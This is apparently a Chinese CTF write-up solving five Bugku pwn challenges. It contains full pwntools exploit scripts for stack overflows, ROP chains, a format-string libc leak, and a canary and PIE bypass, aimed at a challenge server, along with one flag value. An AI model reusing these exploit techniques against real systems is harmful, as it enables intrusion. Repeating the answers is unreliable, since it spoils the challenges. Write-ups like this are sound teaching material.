bugku 里面的五个pwn题wp
pwn1
没给二进制文件,直接nc过去就能拿shell,查看flag,flag{6979d853add353c9}
pwn2
查看保护,发现什么保护都没开启
ida反编译查看
明显栈溢出,还注意到有后门函数
只需要劫持函数的返回地址到get_shell
函数,就可以用拿到flag。使用gdb调试发现,在0x38
个字符后就会覆盖返回地址,所以编写脚本拿flag。
exp
#pwn2.py
from pwn import *
#sh=process('./pwn2')
sh=remote('114.116.54.89',10003)
shell_addr=0x400751
payload='a'*0x38+p64(shell_addr)
sh.sendline(payload)
sh.interactive()
执行结果
pwn4
pwn3比pwn4难,先做的pwn4
IDA反汇编查看,还是一个栈溢出
还看到有system
函数
使用ROPgadget查找是否存在/bin/sh
字符串,结果没存在
ROPgadget --binary pwn4 --string '/bin/sh'
但是存在$0
字符串
参考Bugku-pwn4
$0
在linux中为为shell或shell脚本的名称。system()
会调用fork()
产生子进程,由子进程来调用/bin/sh -c string
来执行参数string字符串所代表的命令,此命令执行完后随即返回原调用的进程。所以如果将$0作为system的参数,能达到传入'/bin/sh'
一样的效果。
计算出字符串$0
地址为0x60111f。
这里要注意的就是64位程序和32位程序的传参方式不一样,32位的函数调用使用栈传参,64位的函数调用使用寄存器传参,分别用rdi、rsi、rdx、rcx、r8、r9
来传递参数(参数个数小于7的时候),从下图也能看出来,所以我们要找pop rdi|ret
这样的gadget
使用ROPgadget寻找gadget
ROPgadget --binary pwn4 --only 'pop|ret'
栈溢出的偏移,此时看栈顶元素的字符串来计算
exp
from pwn import *
sh=remote('114.116.54.89',10004 )
context.log_level="debug"
context.arch='amd64'
bin_addr=0x60111f
system_addr=0x40075A
pop_rdi=0x04007d3
payload=flat(['a'*24,pop_rdi,bin_addr,system_addr])
#payload='a'*24+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.sendlineafter('pwn me\n',payload)
sh.interactive()
执行结果
pwn5
这里要求我们输入的字符串必须包含鸽子,真香
两个词语
printf调用处存在格式化字符串漏洞,可以用来泄露libc函数来计算libc基址
先在printf函数下断点。
gdb-peda$ b printf
Breakpoint 1 at 0x400610
gdb-peda$ r
Starting program: /root/pwn/bugku/pwn5
人类的本质是什么?
%11$p
查看此时栈情况
解释一下为什么我这里输入%11$p
因为64位程序,函数调用时前6个参数采用寄存器传入,参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
看到__libc_start_main+245
在栈上为printf函数格式化字符串的第5个位置,所以们输入%11$p,就能获取到对应的__libc_start_main+245
地址__libc_start_main
偏移,注意这里是我的kali的对应libc文件上的偏移offset(__libc_start_main)+libc_base+235=0x7ffff7e15bbb
所以libc_base=0x7ffff7e15bbb-235-offset(__libc_start_main)=0x7ffff7e15bbb-235-0x26ad0
最后等于0x7ffff7def000
,下图可以证明我们这么算是正确的
所以在编写exp的时候我们可以这么计算libc_base
libc_base=leak_addr-235-0x26ad0
=leak_addr-0x26bbb
计算栈溢出的偏移位置
中文一个汉字占三个字节,所以有
28+12=40,所以栈溢出的偏移为40
寻找gadget,来给system函数传参数,因为system只要一个参数,那么会用rdi来传参
# root @ kali in ~/pwn [21:15:47] C:1
$ ROPgadget --binary human --only 'pop|ret'|grep 'rdi'
0x0000000000400933 : pop rdi ; ret
获取/bin/sh
偏移
查找system函数的偏移
exp
#coding=utf-8
from pwn import *
sh=process('./human')
#context.log_level='debug'
payload="鸽子真香"
payload=payload.ljust(40,'A')
pop_rdi=0x400933 #pop rdi ; ret
libc_system=0x46ff0
libc_bin=0x183cee
#leak libc_base
sh.sendlineafter('什么?\n\n','%11$p')
libc_leak=int(sh.recvline()[2:-1],16)#这里只接受一行,是打印的地址0x******
libc_base=libc_leak-0x26bbb
print hex(libc_base)
bin_addr=libc_base+libc_bin
system_addr=libc_base+libc_system
payload=payload+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.recvuntil("人类还有什么本质?")
sh.sendline(payload)
sh.interactive()
执行结果
成功get本地shell…
攻击服务器那边的也很简单,用ida重新读取题目所给的libc寻找对应的偏移地址,下面的脚本用于远程攻击,这个题应该给出libc文件的,但是没有给。当然也可以先泄露一个libc中的函数,然后使用Libcsearcher去查找libc。
查到libc的
system
函数偏移地址为0x0000000000045390
查到libc的bin/sh
字符串偏移地址为0x18cd57
#coding:utf-8
from pwn import *
sh = remote("114.116.54.89", "10005")#服务器地址
payload="鸽子真香"
payload=payload.ljust(40,'A')
pop_rdi=0x400933 #pop rdi ; ret
libc_system=0x45390 #相应libc的偏移
libc_bin=0x18cd57
print sh.recvuntil("?\n")
sh.sendline("%11$p.")
print sh.recvline()
libc_leak = int(sh.recvline()[2:-2],16) #不知道为啥我的kali[2:-2]不行,
libc_base = libc_leak - 0x20830
bin_addr=libc_base+libc_bin
system_addr=libc_base+libc_system
print sh.recvuntil("\n人类还有什么本质?")
payload=payload+p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
sh.sendline(payload)
sh.interactive()
执行结果
pwn3
老样子,IDA查看
vul函数
void __cdecl vul()
{
int note_len; // [rsp+4h] [rbp-4ECh]
FILE *fp; // [rsp+8h] [rbp-4E8h]
char fpath[20]; // [rsp+10h] [rbp-4E0h]
char memory[600]; // [rsp+30h] [rbp-4C0h]
char thinking_note[600]; // [rsp+290h] [rbp-260h]
unsigned __int64 v5; // [rsp+4E8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
memset(memory, 0, 0x258uLL);
memset(fpath, 0, 0x14uLL);
memset(thinking_note, 0, 0x258uLL);
puts("welcome to noteRead system");
puts("there is there notebook: flag, flag1, flag2");
puts(" Please input the note path:");
read(0, fpath, 0x14uLL);
if ( fpath[strlen(fpath) - 1] == '\n' )
fpath[strlen(fpath) - 1] = 0;
if ( strlen(fpath) > 5 )
{
puts("note path false!");
}
else
{
fp = fopen(fpath, "r");
noteRead(fp, memory, 0x244u);
puts(memory);
fclose(fp);
}
puts("write some note:");
puts(" please input the note len:");
note_len = 0;
__isoc99_scanf("%d", ¬e_len);
puts("please input the note:");
read(0, thinking_note, (unsigned int)note_len);
puts("the note is: ");
puts(thinking_note);
if ( strlen(thinking_note) != 624 )
{
puts("error: the note len must be 624");
puts(" so please input note(len is 624)");
read(0, thinking_note, 624uLL);
}
}
这道题开启了cannary保护,所以首先要泄露cannary
开启cannary的程序的栈大概这个样子(cannary不一定在rbp-8,具体得看程序是怎么安排的)
可以看到thinking_note
的大小为600,而read函数第一次读取时并没有限定长度,但是会判断读入的数据长度是否等于624,如果不是的话还会再读一次,读取624字节。
参考http://www.qfrost.com/PWN/bugku_PWN3/ ,这个师傅讲的很细致,下面是按照这个师傅的wp复现的
#coding=utf-8
from pwn import *
sh = process("./pwn3")
context.log_level='debug'
libc=ELF('./pwn3')
start_main=''
def leak_canary():
sh.sendlineafter("path:\n","flag")
sh.sendlineafter("note len:\n","1000")
sh.sendafter("the note:\n",'A'*600+'b') #这里的b用于覆盖cannary的最低字节\x00,因为puts函数是以00截断的
sh.recvuntil("b")
#gdb.attach(sh)
#pause()
canary=u64(sh.recv(7).rjust(8,"\x00"))#b以后的7字符串就是cannary的高七位
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x20"
sh.sendafter("is 624)\n",start_main) #return main 这里注意是send而不是sendline,卡在这里好久,自己太笨了
sh.interactive()
leak_canary()
可以看到成功劫持返回地址到了main
泄露base_elf
拿到程序canary以后就可以随便实现栈溢出了,所以接下来需要leak程序基址,把PIE给破防了。那怎么leak程序基址呢?按照前面的思路,padding至rbp为止,然后用个recvuntil就可以输出ret的地址了。前面都好处理,关键点在泄露出ret的地址后,如何得知偏移。从上面那张反编译后的Text View图可以看出,main函数里通过call调用了vul函数,而call指令会将下一条指令的地址压栈,vul函数执行完毕后,ret指令就会将RIP指向call指令的后一条指令的地址。分析出原理后,偏移就显而易见了,vul函数的ret值相对于程序基址的偏移就是0xD2E。
#coding=utf-8
from pwn import *
sh = process("./pwn3")
context.log_level='debug'
libc=ELF('./pwn3')
#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29"
sh.sendafter("is 624)\n",start_main)
#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul
#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20)
print 'put_got:'+hex(puts_got)
#gdb.attach(sh)
#pause()
sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x074040 #0x074040是我本地so的puts函数偏移
最终exp,get本地shell
#coding=utf-8
from pwn import *
sh = process("./pwn3")
context.log_level='debug'
libc=ELF('./pwn3')
#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29" #这里我没有返回main函数而是call vuln处,因为我在本机上调试的时候不行,会段溢出
sh.sendafter("is 624)\n",start_main)
#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul
#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20) #这里我又返回的是main函数地址,在本机会段错误,但是在远程的时候可以改为0xd29
sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x074040
#get shell
libc_system=0x46FF0 #相应libc的偏移
libc_bin=0x183CEE
system_addr=libc_system+libc_base
bin_addr=libc_base+libc_bin
print 'libc_base:'+hex(libc_base)
print 'libc_bin:'+hex(bin_addr)
print 'libc_system:'+hex(system_addr)
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(bin_addr)
payload+=p64(system_addr)
sh.sendafter("the note:\n",payload)
sh.sendafter("(len is 624)\n", "aaaa\n")
sh.interactive()
get 远程shell
跟上面的题一样,没有libc。使用网友提供的libc,把相应的地址替换一下就ok
#coding=utf-8
from pwn import *
sh = remote("114.116.54.89", 10000)
context.log_level='debug'
#canary leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:\n","1000\n")
sh.sendafter("the note:\n",'A'*600+'b')
sh.recvuntil("b")
canary=u64(sh.recv(7).rjust(8,"\x00"))
print 'canary:'+hex(canary)
start_main='a'*600 + p64(canary) + p64(0xdeadbeef) + "\x29"
sh.sendafter("is 624)\n",start_main)
#elf_base leak
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
sh.sendafter("the note:\n",'A'*(600+8+7)+'b')
sh.recvuntil('b')
base_elf=u64(sh.recvuntil('\x0a')[:-1].ljust(8,'\x00'))-0xd2e
print 'base_elf:'+hex(base_elf)
sh.sendafter("is 624)\n",start_main) #call vul
#leak libc base
pop_rdi_ret=base_elf+0xe03
puts_plt=base_elf+0x8b0
puts_got=base_elf+0x202018
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(base_elf+0xd20)
sh.sendafter("the note:\n",payload)
sh.sendafter("624)\n","1")
libc_base=u64(sh.recv(6).ljust(8,'\x00'))-0x6f690 #0x6f690为目标libc puts函数的偏移
#get shell
libc_system=0x045390 #相应libc 的偏移
libc_bin=0x18cd57
system_addr=libc_system+libc_base
bin_addr=libc_base+libc_bin
print 'libc_base:'+hex(libc_base)
print 'libc_bin:'+hex(bin_addr)
print 'libc_system:'+hex(system_addr)
sh.sendafter("path:\n","flag")
sh.sendafter("note len:","1000\n")
payload='a'*600+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi_ret)
payload+=p64(bin_addr)
payload+=p64(system_addr)
sh.sendafter("the note:\n",payload)
sh.sendafter("(len is 624)\n", "aaaa\n")
sh.interactive()
上一篇: bugku web wp
推荐阅读